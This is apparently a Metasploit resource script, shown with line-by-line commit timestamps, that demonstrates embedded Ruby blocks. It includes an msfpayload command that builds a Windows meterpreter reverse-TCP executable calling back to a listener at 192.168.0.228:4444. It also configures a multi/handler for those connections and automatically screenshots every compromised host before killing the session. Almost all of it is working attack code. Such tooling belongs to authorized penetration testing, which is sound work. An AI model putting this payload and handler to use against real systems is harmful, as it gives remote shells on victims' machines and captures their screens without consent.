2010-03-22 16:10:23 +00:00
|
|
|
#
|
|
|
|
# Quick RC script to demonstrate the Ruby blocks in RC files
|
|
|
|
#
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generate a corresponding EXE using msfpayload (change 192.168.0.228 to your IP):
|
|
|
|
# $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.228 LPORT=4444 X > reverse.exe
|
|
|
|
#
|
|
|
|
|
|
|
|
use exploit/multi/handler
|
|
|
|
set PAYLOAD windows/meterpreter/reverse_tcp
|
|
|
|
set LPORT 4444
|
|
|
|
set LHOST 192.168.0.228
|
|
|
|
set ExitOnSession false
|
|
|
|
|
|
|
|
exploit -j
|
|
|
|
|
|
|
|
# The first sleep below is not necessary, but makes the output cleaner
|
|
|
|
<ruby>
|
|
|
|
sleep(1)
|
|
|
|
|
|
|
|
print_status("Waiting on an incoming sessions...")
|
|
|
|
while (true)
|
|
|
|
framework.sessions.each_pair do |sid,s|
|
2012-02-29 01:28:47 +00:00
|
|
|
thost = s.session_host
|
2010-03-22 16:10:23 +00:00
|
|
|
|
|
|
|
# Ensure that stdapi has been loaded before running
|
|
|
|
if s.ext.aliases['stdapi']
|
|
|
|
print_status("Screenshotting session #{sid} #{thost}...")
|
|
|
|
s.console.run_single("screenshot -p #{thost}_#{sid}.jpg -v false -q 85")
|
|
|
|
print_status("Closing session #{sid} #{thost}...")
|
|
|
|
s.kill
|
|
|
|
else
|
|
|
|
print_status("Session #{sid} #{thost} active, but not yet configured")
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
sleep(1)
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("All done")
|
|
|
|
</ruby>
|
|
|
|
|
|
|
|
# Kill all open sessions
|
|
|
|
sessions -K
|
|
|
|
|
|
|
|
# Exit the console (optional)
|
|
|
|
exit
|
|
|
|
|